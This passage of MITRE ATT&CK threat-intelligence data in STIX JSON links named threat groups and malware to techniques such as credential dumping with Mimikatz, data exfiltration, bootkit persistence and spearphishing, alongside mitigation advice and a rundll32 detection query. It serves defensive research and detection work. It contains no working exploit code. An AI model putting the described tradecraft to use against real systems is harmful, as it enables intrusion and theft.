["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--01f4b583-4bd0-47eb-a108-c0bd7fd4d571", "created": "2022-06-16T13:44:43.833Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[HEXANE](https://attack.mitre.org/groups/G1001) has used [Ping](https://attack.mitre.org/software/S0097) and `tracert` for network discovery.(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-16T13:44:43.833Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--01f98d14-77b9-439f-8b44-920fcaca2b2b", "type": "relationship", "created": "2019-01-29T19:55:48.137Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://securelist.com/the-epic-turla-operation/65545/", "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", "source_name": "Kaspersky Turla"}, {"description": "Kaspersky Lab's Global Research & Analysis Team. (2014, August 06). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroboros. Retrieved November 7, 2018.", "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08080105/KL_Epic_Turla_Technical_Appendix_20140806.pdf", "source_name": "Kaspersky Turla Aug 2014"}], "modified": "2019-07-26T16:10:42.964Z", "description": "[Epic](https://attack.mitre.org/software/S0091) uses the <code>tasklist /v</code> command to obtain a list of processes.(Citation: Kaspersky Turla)(Citation: Kaspersky Turla Aug 2014)", "relationship_type": "uses", "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--02052736-4888-47b0-9eb4-4031a4061998", "type": "relationship", "created": "2019-01-30T17:43:28.226Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kaspersky Lab's Global Research & Analysis Team. (2015, August 10). Darkhotel's attacks in 2015. Retrieved November 2, 2018.", "url": "https://securelist.com/darkhotels-attacks-in-2015/71713/", "source_name": "Securelist Darkhotel Aug 2015"}, {"source_name": "Microsoft DUBNIUM June 2016", "url": "https://www.microsoft.com/security/blog/2016/06/09/reverse-engineering-dubnium-2/", "description": "Microsoft. (2016, June 9). Reverse-engineering DUBNIUM. Retrieved March 31, 2021."}], "modified": "2021-04-05T20:52:47.633Z", "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has searched for anti-malware strings and anti-virus processes running on the system.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM June 2016) ", "relationship_type": "uses", "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--02075984-9bec-465e-8a21-6717b9a1308b", "type": "relationship", "created": "2020-05-21T21:31:34.290Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Malwarebytes Pony April 2016", "url": "https://blog.malwarebytes.com/threat-analysis/2015/11/no-money-but-pony-from-a-mail-to-a-trojan-horse/", "description": "hasherezade. (2016, April 11). No money, but Pony! From a mail to a trojan horse. Retrieved May 21, 2020."}], "modified": "2020-05-21T21:31:34.290Z", "description": "[Pony](https://attack.mitre.org/software/S0453) has used several Windows functions for various purposes.(Citation: Malwarebytes Pony April 2016)\t", "relationship_type": "uses", "source_ref": "malware--222ba512-32d9-49ac-aefd-50ce981ce2ce", "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--0209cfd7-95d3-4bc5-8f0e-72a70b245fe9", "type": "relationship", "created": "2020-03-19T23:37:02.583Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Deply Mimikatz", "description": "Deply, B. (n.d.). Mimikatz. Retrieved September 29, 2015.", "url": "https://github.com/gentilkiwi/mimikatz"}, {"source_name": "GitHub Mimikatz lsadump Module", "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.", "url": "https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump"}, {"source_name": "Directory Services Internals DPAPI Backup Keys Oct 2015", "description": "Grafnetter, M. (2015, October 26). Retrieving DPAPI Backup Keys from Active Directory. Retrieved December 19, 2017.", "url": "https://www.dsinternals.com/en/retrieving-dpapi-backup-keys-from-active-directory/"}, {"description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools", "source_name": "NCSC Joint Report Public Tools"}, {"source_name": "Cobalt Strike Manual 4.3 November 2020", "url": "https://web.archive.org/web/20210708035426/https://www.cobaltstrike.com/downloads/csmanual43.pdf", "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021."}], "modified": "2021-10-18T19:51:49.400Z", "description": "[Mimikatz](https://attack.mitre.org/software/S0002) performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from DCSync/NetSync.(Citation: Deply Mimikatz)(Citation: GitHub Mimikatz lsadump Module)(Citation: Directory Services Internals DPAPI Backup Keys Oct 2015)(Citation: NCSC Joint Report Public Tools)(Citation: Cobalt Strike Manual 4.3 November 2020)", "relationship_type": "uses", "source_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "target_ref": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--02174a5c-9cda-4ddc-9952-1ff1b956d31e", "created": "2022-05-04T22:31:47.978Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Chrommme](https://attack.mitre.org/software/S0667) can encrypt and store on disk collected data before exfiltration.(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-04T22:31:47.978Z", "relationship_type": "uses", "source_ref": "malware--579607c2-d046-40df-99ab-beb479c37a2a", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--021885d8-90a5-4d70-91de-869783cd57d3", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}, {"source_name": "Microsoft NICKEL December 2021", "url": "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe", "description": "MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}], "modified": "2022-03-22T15:05:00.616Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used compromised credentials and a .NET tool to dump data from Microsoft Exchange mailboxes.(Citation: NCC Group APT15 Alive and Strong)(Citation: Microsoft NICKEL December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--021b1f3f-a542-4ff7-a3b5-c9207c58b887", "created": "2022-09-23T20:49:45.015Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Bitdefender FunnyDream Campaign November 2020", "description": "Vrabie, V. (2020, November). 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For macOS ensure Remote Login is disabled under Sharing Preferences.(Citation: Apple Unified Log Analysis Remote Login and Screen Sharing)", "relationship_type": "mitigates", "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31", "target_ref": "attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--02642f69-af18-42ba-a07e-ea44d3a311ea", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Vasport May 2012", "description": "Zhou, R. (2012, May 15). Backdoor.Vasport. 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Retrieved March 1, 2021."}], "modified": "2021-03-02T18:16:41.008Z", "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has decoded files received from a C2.(Citation: CISA AppleJeus Feb 2021)", "relationship_type": "uses", "source_ref": "malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--026e7bb0-2037-4bfc-b9ae-98e70530f22a", "type": "relationship", "created": "2020-02-10T20:43:10.408Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-20T19:23:37.993Z", "description": "Use file system access controls to protect folders such as C:\\Windows\\System32.", "relationship_type": "mitigates", "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--0277787b-6419-4371-aa5d-77b2d0cc025f", "created": "2022-08-18T15:44:40.846Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Google EXOTIC LILY March 2022", "url": "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/", "description": "Stolyarov, V. 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Retrieved July 22, 2015.", "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory"}], "modified": "2020-03-17T02:32:26.710Z", "description": "Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to use pass the ticket with Kerberos for authentication.(Citation: Symantec Seaduke 2015)", "relationship_type": "uses", "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", "target_ref": "attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--02a8db04-60e6-437c-8f1a-12aff6a13c63", "created": "2022-04-06T20:05:01.789Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669) has been distributed via spearphishing emails with malicious attachments.(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-06T20:05:01.789Z", "relationship_type": "uses", "source_ref": "malware--df9b350b-d4f9-4e79-a826-75cc75fbc1eb", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--02a92b76-50e8-4d63-a7e3-462ff2596cbf", "created": "2022-03-30T14:26:51.866Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T13:19:35.484Z", "description": "Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. \n\nWhen monitoring for all instances of Rundll32 execution, as defined by the logic in the Detection Pseudocode, it is imperative to also investigate the full set of command-line parameters\u00a0used. These parameters contain key information about the DLL payload, including the name, entry point, and optional arguments.\n\nNote: Event IDs are for Sysmon (Event ID 10 - process create) and Windows Security Log (Event ID 4688 - a new process has been created). The Analytic looks for any instances of rundll32.exe but does no other filtering, which may result in false positives. Therefore, we recommend tuning any such analytics by including additional logic (e.g., testing the name of the user that created the process) that helps reduce false positives.\n\nAnalytic 1 - RunDLL32.exe Monitoring\n \n<code> (source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") Image= \"rundll32.exe\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--02aaa58a-483c-43ec-ad99-a56da68a6298", "created": "2021-09-29T15:41:18.395Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "AhnLab Andariel Subgroup of Lazarus June 2018", "description": "AhnLab. (2018, June 23). Targeted attacks by Andariel Threat Group,  a subgroup of the Lazarus. Retrieved September 29, 2021.", "url": "http://download.ahnlab.com/global/brochure/%5BAnalysis%5DAndariel_Group.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-11-30T22:51:40.271Z", "description": "(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--39d6890e-7f23-4474-b8ef-e7b0343c5fc8", "target_ref": "malware--44c75271-0e4d-496f-ae0a-a6d883a42a65", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--02af155a-ed26-4807-99c5-f88477a6e143", "created": "2021-01-04T20:42:22.208Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Dragos Crashoverride 2017", "url": "https://dragos.com/blog/crashoverride/CrashOverride-01.pdf", "description": "Dragos Inc.. (2017, June 13). CRASHOVERRIDE Analysis of the Threat to Electric Grid Operations. Retrieved December 18, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Industroyer](https://attack.mitre.org/software/S0604) can use an arbitrary system service to load at system boot for persistence and replaces the ImagePath registry value of a Windows service with a new backdoor binary.(Citation: Dragos Crashoverride 2017) ", "modified": "2022-06-30T20:16:22.960Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--e401d4fe-f0c9-44f0-98e6-f93487678808", "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--02bd0dd0-85cb-439c-a984-973bed485f8e", "type": "relationship", "created": "2022-01-18T18:54:44.220Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CrowdStrike AQUATIC PANDA December 2021", "url": "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", "description": "Wiley, B. et al. (2021, December 29). OverWatch Exposes AQUATIC PANDA in Possession of Log4Shell Exploit Tools During Hands-on Intrusion Attempt. Retrieved January 18, 2022."}], "modified": "2022-01-18T18:54:44.220Z", "description": "[Aquatic Panda](https://attack.mitre.org/groups/G0143) has deleted malicious executables from compromised machines.(Citation: CrowdStrike AQUATIC PANDA December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--02c3d977-d797-4105-9535-11682d4896e9", "type": "relationship", "created": "2020-07-15T20:23:36.581Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Carberp March 2012", "url": "https://www.eset.com/fileadmin/eset/US/resources/docs/white-papers/white-papers-win-32-carberp.pdf", "description": "Matrosov, A., Rodionov, E., Volkov, D., Harley, D. (2012, March 2). Win32/Carberp When You\u2019re in a Black Hole, Stop Digging. Retrieved July 15, 2020."}], "modified": "2020-07-15T20:23:36.581Z", "description": "[Carberp](https://attack.mitre.org/software/S0484) has installed a bootkit on the system to maintain persistence.(Citation: ESET Carberp March 2012)", "relationship_type": "uses", "source_ref": "malware--bbcd7a02-ef24-4171-ac94-a93540173b94", "target_ref": "attack-pattern--1b7b1806-7746-41a1-a35d-e48dae25ddba", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--02c3ea88-c33c-47d8-a34a-532ed5498a3d", "type": "relationship", "created": "2021-03-03T20:20:35.804Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft HAFNIUM March 2020", "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."}], "modified": "2021-03-03T20:20:35.804Z", "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) has interacted with Office 365 tenants to gather details regarding target's environments.(Citation: Microsoft HAFNIUM March 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87", "target_ref": "attack-pattern--774ad5bb-2366-4c13-a8a9-65e50b292e7c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--02c44129-5ee7-4f4c-84b1-aae2b0129f4a", "type": "relationship", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.865Z", "description": "Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--02c4488b-6041-4222-9363-18a63ce3b835", "type": "relationship", "created": "2021-03-22T03:10:42.651Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "wardle evilquest partii", "url": "https://objective-see.com/blog/blog_0x60.html", "description": "Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."}], "modified": "2021-03-22T03:10:42.651Z", "description": "[ThiefQuest](https://attack.mitre.org/software/S0595) encrypts a set of file extensions on a host, deletes the original files, and provides a ransom note with no contact information.(Citation: wardle evilquest partii)", "relationship_type": "uses", "source_ref": "malware--727afb95-3d0f-4451-b297-362a43909923", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--02c88228-8275-42a7-9c3a-d5393556bceb", "type": "relationship", "created": "2020-05-29T20:09:48.869Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro TA505 June 2019", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/shifting-tactics-breaking-down-ta505-groups-use-of-html-rats-and-other-techniques-in-latest-campaigns/", "description": "Hiroaki, H. and Lu, L. (2019, June 12). Shifting Tactics: Breaking Down TA505 Group\u2019s Use of HTML, RATs and Other Techniques in Latest Campaigns. Retrieved May 29, 2020."}], "modified": "2020-06-16T16:57:13.566Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has used the tool EmailStealer to steal and send lists of e-mail addresses to a remote server.(Citation: Trend Micro TA505 June 2019)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--02c8a28f-c188-47a9-ab93-d9abb862abab", "created": "2023-02-16T16:45:43.255Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Secureworks DarkTortilla Aug 2022", "description": "Secureworks Counter Threat Unit Research Team. (2022, August 17). DarkTortilla Malware Analysis. Retrieved November 3, 2022.", "url": "https://www.secureworks.com/research/darktortilla-malware-analysis"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-06T21:23:27.887Z", "description": "[DarkTortilla](https://attack.mitre.org/software/S1066) can download additional packages for keylogging, cryptocurrency mining, and other capabilities; it can also retrieve malicious payloads such as [Agent Tesla](https://attack.mitre.org/software/S0331), AsyncRat, [NanoCore](https://attack.mitre.org/software/S0336), RedLine, [Cobalt Strike](https://attack.mitre.org/software/S0154), and Metasploit.(Citation: Secureworks DarkTortilla Aug 2022)", "relationship_type": "uses", "source_ref": "malware--5faaf81a-aa5b-4a4b-bae5-522439e068f8", "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--02caaeff-7429-444f-bac2-498fe3a73cfd", "created": "2019-02-21T21:17:37.975Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye APT39 Jan 2019", "description": "Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"}, {"source_name": "BitDefender Chafer May 2020", "description": "Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.", "url": "https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-18T16:19:53.771Z", "description": "[APT39](https://attack.mitre.org/groups/G0087) has used [CrackMapExec](https://attack.mitre.org/software/S0488) and a custom port scanner known as BLUETORCH for network scanning.(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80", "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--02d478b7-c728-4b43-b599-84bd75c3546e", "created": "2021-03-18T14:20:00.545Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Anomali Static Kitten February 2021", "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.", "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"}, {"source_name": "Proofpoint TA450 Phishing March 2024", "description": "Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.", "url": "https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign"}, {"source_name": "Trend Micro Muddy Water March 2021", "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.", "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T19:41:11.434Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has sent targeted spearphishing e-mails with malicious links.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)(Citation: Proofpoint TA450 Phishing March 2024)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": 